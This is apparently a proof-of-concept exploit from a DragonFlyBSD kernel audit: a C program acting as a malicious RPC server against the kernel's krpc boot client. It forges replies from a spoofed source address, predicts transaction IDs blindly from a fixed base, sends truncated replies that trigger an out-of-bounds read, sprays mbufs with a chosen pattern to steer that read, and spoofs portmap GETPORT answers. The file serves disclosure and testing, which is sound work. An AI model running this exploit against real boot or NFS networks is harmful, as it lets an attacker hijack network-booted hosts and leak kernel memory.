⬢ DragonFlyBSD Kernel Audit
DF-3203 / attacker.c
← back to finding ↓ download raw
/*
 * attacker.c -- DF-3205 / DF-3203 / DF-3204 malicious RPC server.
 *
 * A REAL userland UDP process playing the "malicious host on the boot
 * network" (or a compromised portmap/mountd server).  It answers the
 * requests the verbatim krpc code inside the kernel sends to
 * 127.0.0.1:7771 (or :111 for the portmap test) with crafted replies:
 *
 *   dump      honest replies; prints every request xid + client port
 *             (DF-3205 determinism demonstration)
 *   spoofsrc  attack reply sent from a socket bound to 127.0.0.2
 *             (wrong origin; DF-3205); 150 ms later an honest follow-up
 *             from 127.0.0.1 so fixed-kernel runs still terminate
 *   short     16-byte reply (DF-3203 pre-pullup OOB read), then honest
 *             follow-up
 *   pmis      24-byte reply with accept-status 2 = RPC_PROGMISMATCH
 *             (DF-3204 leak; in-bounds field, no OOB involved)
 *   pmap      portmap GETPORT spoof: honest-shaped 32-byte reply whose
 *             port field is 0xcafe (blind) or 0x7777 (follow-up)
 *
 * -b (blind): compute the reply XID purely from the source constants
 * (0xffffff00 + nth-call-of-the-boot, krpc_subr.c:201,:282) and NEVER
 * look at the request payload.  The client's UDP endpoint is learned
 * from recvfrom (any same-L2 attacker can watch the request go by; the
 * XID entropy is what is supposed to stop the spoof, and it does not).
 */
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define XID_BASE 0xffffff00u

static const char *mode = "dump";
static int blind;
static int count = -1;		/* stop after n requests */
static uint32_t reqs;

static uint32_t
be32(const unsigned char *p)
{
	return ((uint32_t)p[0] << 24) | ((uint32_t)p[1] << 16) |
	       ((uint32_t)p[2] << 8) | (uint32_t)p[3];
}

static void
put32(unsigned char *p, uint32_t v)
{
	p[0] = v >> 24; p[1] = v >> 16; p[2] = v >> 8; p[3] = v;
}

/* honest-shaped accepted reply: 24-byte header + 4-byte payload */
static void
reply_good(int fd, struct sockaddr_in *dst, uint32_t xid,
    const char *payload)
{
	unsigned char b[28];

	memset(b, 0, sizeof(b));
	put32(b + 0, xid);		/* rp_xid */
	put32(b + 4, 1);		/* rp_direction = RPC_REPLY */
	put32(b + 8, 0);		/* rp_astatus = accepted */
	put32(b + 12, 0);		/* rp_auth.authtype */
	put32(b + 16, 0);		/* rp_auth.authlen */
	put32(b + 20, 0);		/* rp_status = success */
	memcpy(b + 24, payload, 4);
	sendto(fd, b, sizeof(b), 0, (struct sockaddr *)dst, sizeof(*dst));
}

/* 16-byte truncated reply: everything past astatus is missing */
static void
reply_short(int fd, struct sockaddr_in *dst, uint32_t xid)
{
	unsigned char b[16];

	memset(b, 0, sizeof(b));
	put32(b + 0, xid);
	put32(b + 4, 1);
	put32(b + 8, 0);
	sendto(fd, b, sizeof(b), 0, (struct sockaddr *)dst, sizeof(*dst));
}

/* 24-byte PROGMISMATCH reply (in-bounds rp_status = 2) */
static void
reply_pmis(int fd, struct sockaddr_in *dst, uint32_t xid)
{
	unsigned char b[24];

	memset(b, 0, sizeof(b));
	put32(b + 0, xid);
	put32(b + 4, 1);
	put32(b + 8, 0);
	put32(b + 12, 0);
	put32(b + 16, 0);
	put32(b + 20, 2);		/* RPC_PROGMISMATCH */
	sendto(fd, b, sizeof(b), 0, (struct sockaddr *)dst, sizeof(*dst));
}

/* portmap GETPORT result: 24-byte header + pad(2) + port(2) */
static void
reply_pmap(int fd, struct sockaddr_in *dst, uint32_t xid,
    unsigned char p0, unsigned char p1)
{
	unsigned char b[32];

	memset(b, 0, sizeof(b));
	put32(b + 0, xid);
	put32(b + 4, 1);
	put32(b + 8, 0);
	put32(b + 12, 0);
	put32(b + 16, 0);
	put32(b + 20, 0);
	b[24] = 0; b[25] = 0;
	b[26] = p0; b[27] = p1;
	sendto(fd, b, sizeof(b), 0, (struct sockaddr *)dst, sizeof(*dst));
}

static int
mksock(uint32_t ip, uint16_t port)
{
	struct sockaddr_in a;
	int fd, on = 1;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0) {
		perror("socket");
		exit(1);
	}
	setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));
	memset(&a, 0, sizeof(a));
	a.sin_family = AF_INET;
	a.sin_len = sizeof(a);
	a.sin_addr.s_addr = htonl(ip);
	a.sin_port = htons(port);
	if (bind(fd, (struct sockaddr *)&a, sizeof(a)) < 0) {
		perror("bind");
		exit(1);
	}
	return fd;
}

/* primer: 24-byte datagram whose bytes 20..23 carry PAT, sent to a dead
 * port.  After the ICMP/DF flush frees them, those mbuf slots keep PAT
 * exactly where a later 16-byte short reply's OOB rp_status read lands. */
static void
spray_primer(int fd, uint32_t pat, int n)
{
	struct sockaddr_in dead;
	unsigned char b[24];
	int i;

	memset(&dead, 0, sizeof(dead));
	dead.sin_family = AF_INET;
	dead.sin_len = sizeof(dead);
	dead.sin_addr.s_addr = htonl(0x7f000001u);
	dead.sin_port = htons(55555);
	memset(b, 0, sizeof(b));
	put32(b + 20, pat);
	for (i = 0; i < n; i++)
		sendto(fd, b, sizeof(b), 0,
		    (struct sockaddr *)&dead, sizeof(dead));
}

int
main(int argc, char **argv)
{
	unsigned char buf[512];
	struct sockaddr_in cli;
	socklen_t clen;
	int fd, evil = -1;
	uint16_t port = 7771;
	uint32_t pat = 0x5a5a5a5au;

	if (argc > 1)
		mode = argv[1];
	{
		int i;

		for (i = 2; i < argc; i++) {
			if (strcmp(argv[i], "-b") == 0)
				blind = 1;
			else if (strcmp(argv[i], "-p") == 0 && i + 1 < argc)
				port = (uint16_t)atoi(argv[++i]);
			else if (strcmp(argv[i], "-n") == 0 && i + 1 < argc)
				count = atoi(argv[++i]);
			else if (strcmp(argv[i], "-x") == 0 && i + 1 < argc)
				pat = (uint32_t)strtoul(argv[++i], NULL, 0);
		}
	}
	if (strcmp(mode, "pmap") == 0)
		port = 111;		/* krpc_portmap hardcodes PMAPPORT */

	fd = mksock(0x7f000001u, port);
	if (strcmp(mode, "spoofsrc") == 0)
		evil = mksock(0x7f000002u, 0);	/* the wrong origin */

	printf("attacker: mode=%s port=%d blind=%d\n", mode, port, blind);
	fflush(stdout);

	for (;;) {
		ssize_t n;
		uint32_t sniffed, predicted;

		clen = sizeof(cli);
		n = recvfrom(fd, buf, sizeof(buf), 0,
		    (struct sockaddr *)&cli, &clen);
		if (n < 0) {
			perror("recvfrom");
			continue;
		}
		reqs++;
		sniffed = be32(buf);
		predicted = XID_BASE + (reqs - 1);	/* never reads payload */
		printf("attacker: REQ #%u len=%zd xid=0x%08x from %s:%u "
		    "(blind prediction for this call: 0x%08x %s)\n",
		    reqs, n, sniffed,
		    inet_ntoa(cli.sin_addr), ntohs(cli.sin_port), predicted,
		    predicted == sniffed ? "MATCH" : "differ");
		fflush(stdout);

		if (strcmp(mode, "dump") == 0 || strcmp(mode, "good") == 0) {
			reply_good(fd, &cli, sniffed, "SRV!");
		} else if (strcmp(mode, "spoofsrc") == 0) {
			reply_good(evil, &cli, blind ? predicted : sniffed,
			    "ATTACKER-PAYLOAD");
			printf("attacker: spoof sent from 127.0.0.2\n");
			fflush(stdout);
			usleep(150000);
			reply_good(fd, &cli, sniffed, "SERVER-PAYLOAD");
		} else if (strcmp(mode, "short") == 0) {
			reply_short(fd, &cli, blind ? predicted : sniffed);
			printf("attacker: 16-byte short reply sent "
			    "(bytes 16..23 do not exist)\n");
			fflush(stdout);
			usleep(150000);
			reply_good(fd, &cli, sniffed, "SERVER-PAYLOAD");
		} else if (strcmp(mode, "short_p") == 0) {
			spray_primer(fd, pat, 64);
			printf("attacker: 64 primers with 0x%08x at offset "
			    "20..23 sprayed to dead port, then short reply\n",
			    pat);
			fflush(stdout);
			usleep(2000);
			reply_short(fd, &cli, sniffed);
			usleep(150000);
			reply_good(fd, &cli, sniffed, "SERVER-PAYLOAD");
		} else if (strcmp(mode, "pmis") == 0) {
			reply_pmis(fd, &cli, sniffed);
		} else if (strcmp(mode, "pmap") == 0) {
			reply_pmap(fd, &cli, blind ? predicted : sniffed,
			    0xca, 0xfe);		/* attacker port */
			if (blind) {
				usleep(150000);
				/* follow-up honest answer 0x7777 */
				reply_pmap(fd, &cli, sniffed, 0x77, 0x77);
			}
		}
		if (count > 0 && (int)reqs >= count)
			break;
	}
	return 0;
}